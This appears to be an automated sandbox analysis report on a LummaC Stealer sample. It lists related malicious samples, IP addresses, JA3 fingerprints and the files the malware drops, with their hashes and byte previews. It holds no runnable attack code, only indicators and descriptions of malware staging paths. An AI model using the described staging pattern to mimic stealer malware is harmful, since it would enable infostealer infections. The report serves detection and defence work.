	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://herald-review.com/users/logout-success/?expire=1626371676&referer_url=http://209.159.152.50	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://michaelschwab.powerappsportals.com/	Get hash	malicious	Unknown	Browse	104.18.3.157
	BASF Hung#U00e1ria Kft.exe	Get hash	malicious	FormBook	Browse	172.67.186.192
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.58.9
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.214.52
CLOUDFLARENETUS	bUAmCazc.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.170.85
	http://myhobbybuys.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://29112024red01kamcjduq.z33.web.core.windows.net	Get hash	malicious	TechSupportScam	Browse	104.17.25.14
	http://antena1.rtp.pt	Get hash	malicious	RATDispenser	Browse	104.22.62.150
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://herald-review.com/users/logout-success/?expire=1626371676&referer_url=http://209.159.152.50	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://michaelschwab.powerappsportals.com/	Get hash	malicious	Unknown	Browse	104.18.3.157
	BASF Hung#U00e1ria Kft.exe	Get hash	malicious	FormBook	Browse	172.67.186.192
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.58.9
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.214.52

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Enquiry.js	Get hash	malicious	AgentTesla	Browse	149.129.12.34
	stub.exe	Get hash	malicious	Stealerium	Browse	149.129.12.34
	stub.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	149.129.12.34
	file.exe	Get hash	malicious	LummaC Stealer	Browse	149.129.12.34
	qbVjvy9gv2.exe	Get hash	malicious	Stealerium	Browse	149.129.12.34
	K6aOw2Jmji.exe	Get hash	malicious	Stealerium	Browse	149.129.12.34
	uyz4YPUyc9.exe	Get hash	malicious	Stealerium	Browse	149.129.12.34
	TXj1ICMUqd.exe	Get hash	malicious	Stealerium	Browse	149.129.12.34
	qbVjvy9gv2.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	149.129.12.34
	https://aysesuretobea.com/	Get hash	malicious	Unknown	Browse	149.129.12.34
a0e9f5d64349fb13191bc781f81f42e1	bUAmCazc.ps1	Get hash	malicious	LummaC Stealer	Browse	104.26.3.16 172.67.170.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.26.3.16 172.67.170.85
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.26.3.16 172.67.170.85
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.26.3.16 172.67.170.85
	!SET__UP.exe	Get hash	malicious	LummaC Stealer	Browse	104.26.3.16 172.67.170.85
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse	104.26.3.16 172.67.170.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.26.3.16 172.67.170.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.26.3.16 172.67.170.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.26.3.16 172.67.170.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.26.3.16 172.67.170.85

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nmovbfii	bUAmCazc.ps1	Get hash	malicious	LummaC Stealer	Browse
C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	bUAmCazc.ps1	Get hash	malicious	LummaC Stealer	Browse
	CVMrdORGbI.exe	Get hash	malicious	LummaC	Browse
	CVMrdORGbI.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	1st-baba.ps1	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\7556b384

Download File

Process:	C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	1331047
Entropy (8bit):	7.467181355683869
Encrypted:	false
SSDEEP:	24576:46oNOxiBA8Ccz+HhK1coA+6NzWsEl9MJ/2Jbmyr1lsXxQzkluDNZY9mQlj:4fNOxiccz+HhK1Z8bEl9MgJCr6zkaY9n
MD5:	A48DE0FBB7F54EAB644ED91C12825542
SHA1:	1572E478171BC294878A33E59CFF2DE462234B1B
SHA-256:	2F78F2628B043FAB0B37671DB9F5FAC773BB3F8EDF821589C31465E276B37EB1
SHA-512:	D211E68067270E889DF3D711142D9F99DFEB8F29A1DF6A9CB6886014CC5246A933AFA6A1D18FABB44E2E0A3711E6382FC16C94366EC4690AF9A06133E359E621
Malicious:	false
Preview:	G...D...D...D...E...`......D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...a.HD..LUa.U}'.wg+.lH..vp+.kH..yf0.Uq*.DD6..f%.kH..yf0.h.D...D...D...D...D...D...D...D...D...D...D.....Qz-.qu(.bq....D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D.....[f!.lq..k`%.{qD...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...a.QZ..J1..qw6.k{".6Z..DR6.uq3.j.D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...2.6$j.(#v...D...D...D...D...D...D...D...D...D...D...

C:\Users\user\AppData\Local\Temp\81f039d3

Download File

Process:	C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	1331047
Entropy (8bit):	7.467181350025028
Encrypted:	false
SSDEEP:	24576:l6oNOxiBA8Ccz+HhK1coA+6NzWsEl9MJ/2Jbmyr1lsXxQzkluDNZY9mQlj:lfNOxiccz+HhK1Z8bEl9MgJCr6zkaY9n
MD5:	130EA85DF342A755A174F75183E5BC89
SHA1:	E4C47DA071A950F6A25413CEF5BC8F326B9546EC
SHA-256:	7C526B0A4D0DACBEBCE3A79EF054157406E3C2ACDD6E088F9CF6C36CBB998FA2
SHA-512:	98F4E67AA0850F5D872661C39549B04A259E2EDB8D8587F17101CE610C4DC66CDB35CA978347219E0EEB68FF26E9480088967FD7E0D095EE1CCD65E1BD29F715
Malicious:	false
Preview:	G...D...D...D...E...`......D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...a.HD..LUa.U}'.wg+.lH..vp+.kH..yf0.Uq*.DD6..f%.kH..yf0.h.D...D...D...D...D...D...D...D...D...D...D.....Qz-.qu(.bq....D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D.....[f!.lq..k`%.{qD...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...a.QZ..J1..qw6.k{".6Z..DR6.uq3.j.D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...D...2.6$j.(#v...D...D...D...D...D...D...D...D...D...D...

C:\Users\user\AppData\Local\Temp\KG0P09VQ32I3Y8PNKAK.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	HTML document, ASCII text, with very long lines (8793), with no line terminators
Category:	dropped
Size (bytes):	8793
Entropy (8bit):	6.166898938478686
Encrypted:	false
SSDEEP:	192:PN2x2B6R/DAxJ4lIlkQwZCdcP6QIrgzx6MyuC0CRFyTBgN:AxDR/DAT4uBwZCdjPh0UogN
MD5:	268578815D1292B45B97E0FC17B5BBDE
SHA1:	3605C6E5042DC93AEF043FF01EB28299048051A3
SHA-256:	DA8F38A0B6684944782368EAAEF1CC231D4834855F109539EF2A0B2A9AF67E80
SHA-512:	A32A011F89EE740E902A65AF1B4D9C4C7CBD1826FE31B932AD67EC03107F90CBC83E993378B06F31EBD24629E430D39E6FF8E6CF8464DF4395B692B564AE1CB1
Malicious:	true
Preview:	<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewport" content="width=device-width,initial-scale=1"><style>*{box-sizing:border-box;margin:0;padding:0}html{line-height:1.15;-webkit-text-size-adjust:100%;color:#313131;font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji}body{display:flex;flex-direction:column;height:100vh;min-height:100vh}.main-content{margin:8rem auto;max-width:60rem;padding-left:1.5rem}@media (width <= 720px){.main-content{margin-top:4rem}}.h2{font-size:1.5rem;font-weight:500;line-height:2.25rem}@media (width <= 720px){.h2{font-size:1.25rem;line-height:1.5rem}}#challenge-error-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0i

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_awkv2nex.itb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bkpo5ao1.qs3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g2euv5w1.dyz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0nbo0lt.5si.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ih5fp5hi.0ke.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kezlleha.eo0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vtxdik2p.ph1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yx3ykwnr.iwt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nmovbfii

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.836190455688662
Encrypted:	false
SSDEEP:	6144:sNGk2wuw1nYaH1SeaRt56699NInzNwsGg2AGf0jx:sck2w/9oeyzJ9NInzysGg2AGf0jx
MD5:	8A48C078589AC23005253B28416CBDED
SHA1:	582E4F5930F935D04A6D0C5DDCFBFFBFEA745B84
SHA-256:	A327EAFC8441768C377971350A15B895D289F8D780593B1FF4BEF217A9822FE6
SHA-512:	3BDC14145EC0C2D97CD3E502ADBF23CB71AE7B6FEE2608260985F9E2C4528E609D6E74795035B928FEB07968A44AA2383323DBCE7D40064A527EEA22937A1DAE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: bUAmCazc.ps1, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....uS............................0.............@.......................................@..................................................................@...@..................................................4................................text... ........................... ..`.rdata... ......."..................@..@.data...\|.... ...\..................@....CRT.........0.......^..............@..@.reloc...@...@...B...`..............@..Bpgo.................................@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe

Download File

Process:	C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	291968
Entropy (8bit):	6.618312525566491
Encrypted:	false
SSDEEP:	6144:PAHdwS/WYoTOLHIsPPzAdnz0YutYPDvhD:PCd9/WYoaLHF3z0z04PDvhD
MD5:	7FB44C5BCA4226D8AAB7398E836807A2
SHA1:	47128E4F8AFABFDE5037ED0FCABA8752C528FF52
SHA-256:	A64EAD73C06470BC5C84CFC231B0723D70D29FEC7D385A268BE2C590DC5EB1EF
SHA-512:	F0BD093F054C99BCC50DF4005D0190BD7E3DCEFEA7008AE4C9B67A29E832E02AE9FF39FA75BC1352C127AEB13AFDEA9BFDCC238AC826EF17F288D6FBD2EC8CAB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: bUAmCazc.ps1, Detection: malicious, Browse Filename: CVMrdORGbI.exe, Detection: malicious, Browse Filename: CVMrdORGbI.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: 1st-baba.ps1, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........GY8.&7k.&7k.&7k.M3j.&7k.M4j.&7k.M2j.&7k.^.k.&7k.^2j.&7k.^3j.&7k.^4j.&7k.M6j.&7k.&6k.&7k _3j.&7k _.k.&7k _5j.&7kRich.&7k........PE..d.....d.........."............................@.........................................`.................................................@...d...................L...(......h....w..T...........................@v..@...............P............................text...p........................... ..`.rdata..............................@..@.data....!..........................@....pdata..............................@..@_RDATA..\...........................@..@.rsrc..............................@..@.reloc..h............D..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Driver\msvcr90.dll

Download File

Process:	C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	653952
Entropy (8bit):	6.885961951552677
Encrypted:	false
SSDEEP:	12288:5hr4UC+Ju/A0BI4yWkoGKJwZ9axKmhYTMAO7wFKjCUmRyyPe:9JfyZFGKJjxKmhSMAB6CUmRyyPe
MD5:	11D49148A302DE4104DED6A92B78B0ED
SHA1:	FD58A091B39ED52611ADE20A782EF58AC33012AF
SHA-256:	CEB0947D898BC2A55A50F092F5ED3F7BE64AC1CD4661022EEFD3EDD4029213B0
SHA-512:	FDC43B3EE38F7BEB2375C953A29DB8BCF66B73B78CCC04B147E26108F3B650C0A431B276853BB8E08167D34A8CC9C6B7918DAEF9EBC0A4833B1534C5AFAC75E4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................6.........!.R...7.....&.....0.....6.....3...Rich..........PE..L.....i[...........!.....\..........@-.......p....Rx.........................0......?T....@..............................\|..P...(................................3......................................@............................................text...t[.......\.................. ..`.data....g...p...D...`..............@....rsrc...............................@..@.reloc...7.......8..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Driver\python27.dll

Download File

Process:	C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14191200
Entropy (8bit):	7.9262695020755505
Encrypted:	false
SSDEEP:	393216:W1pU8xeUOhMFCBURDP4RSLkcswLqLibwonZ14tb:Wr7rCBURqcTXconZ1Ab
MD5:	77B8F54C99903633175BF2EE83B93089
SHA1:	F8A7C2D280464EA887F95295670D1A3C78146519
SHA-256:	09F7868EB0D7629399F54934AE930314358845C9929D973B05F6C1CCA7C67A9E
SHA-512:	54D618060571517317F5A6020D79A0E693D499AC865C2A031B5F7AFCCE0EBF75F3610C42F807FEA0FC0B7852F0B119EABE80E317EC7CB181B90B90C202A09BBB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x..^...........!.................E5.......................................w......a9...@..........................B..\|....K.x....pw..............j..` ....w.....................................`aw.@...............,............................text...z........................... ..`.rdata...D..........................@..@.data...pC....!.....................@..._COF0.....v..@(..................... ..`_COF1...D...........................@..._COF2....R.......T.................. ..`.rsrc........pw......Z..............@..@.reloc........w......b..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Driver\vstji

Download File

Process:	C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	9926
Entropy (8bit):	6.601683018009094
Encrypted:	false
SSDEEP:	192:bcCThv4kMUxkMSwJZ8JewGJ6PlKeVsXmWl97ZHaaRbdn2OYvFDE84BRP:vThvYMSwJZ+GJ6PMtWWX16ab29Kb
MD5:	0780B1687F4B818A6CCA3CAF57B0D062
SHA1:	49B0E39A452F956F640F185CF396D31E8E8E8A39
SHA-256:	9E7AEA9FBA017E367B8FD3B188F6AFEF0197F89036FA35420729F19048C6FF2D
SHA-512:	8B002C586B73D4AF5A5DAAE512C2B096C4A061BC69AD3750C930D6429FA75C947BD7305A25A9378BEE236C1028914E91B9111A7D735B9D029E2FE7063562CB00
Malicious:	false
Preview:	..V..`........LyQQ.c..m]....PW.pZRh.`.a..Nv.Y.i.mx.x..R.Vja.y.d.L.u........N...k.Sh.U..V.K.tQ.klyO.jlu..C.a..hgE.od....g\v..PCHu.l..I.R..SB...\xu..A.\B.li.v..Xe.QOxLP....NElW....Eb.BD...Hs..v..TNyK...g..]D^b.v.vDMU.^m..Z..s.U_t.....r.e...l.Z....y...itf.Bg....g....C]qcp_.o..sw.H....j]QXTsjPiL.[w.n^...SrQf.X.d...k^YllAAL.r.nQ...JJbn.N...R..B.Sa..CV.mp.`P....rv.....T..O..kQ...B...sk..H.....i.m.I..aI......w.bJA...Pt...B.g._..ov....v.p.liS..hGIG.gBNZ.xf...ET.f...S.Q.ZS...q..oXn..Ds.q.C..y.wF^A..k...y.....SjV...py._riT..mx.M.g.qe....J...mNuOtS......t.NNeX.u...qQ.g.[kEP..jm.^P..l..G...b.Zr\Dg.MfV..kJ..k.`kyQnw.o.LE............yJ..me.r......Tx..y...U...R...F..r...]ty..BV.......dXO..RA.V...K..S.TK..YIhQmqu\...GGG..X...YEMwx[..I.wg.NjA...kLox..MYg..q..U^M..rr...Y...h.._..Uu.b....K.i..W..]..N...e..e.LB...l..VDW[..E....]g.[q.IwW.`b...F...WVO.Y..xt..`...sd]B..L....s.RLk....r.T._..wB.q.....PG..Bc..s...u.Cf..^b..yD.[.xcc^...NQq..b.....t...Lut.P...j...m..`ms..r.....C...Dm....N..n._psKuIavuTOOmHtJkR..w

C:\Users\user\AppData\Roaming\Driver\ylqv

Download File

Process:	C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	986746
Entropy (8bit):	7.867918664785953
Encrypted:	false
SSDEEP:	24576:bfMR7mqnsKaQ+RFiZhbvisb4E5aJZNFCPxmO8al:YR7mqn+RFATiF9NFCpms
MD5:	CF297F837262C0FBD5AD028C39A53B62
SHA1:	B6B54C0476C1F4168B829A9A475888BAF3B14012
SHA-256:	4CBDB194C720BC44A5B234FAAA03925EE9566DE6D814D9124DFA6767B41E03CB
SHA-512:	283D2B15A5F317910A5EB5BB74604894E3F36DD907254D98F26C2130A770B552DE6631AFD2D820DE0A9EA069643F19BC86884D719C0F8DFA4B1394FF7880D10B
Malicious:	false
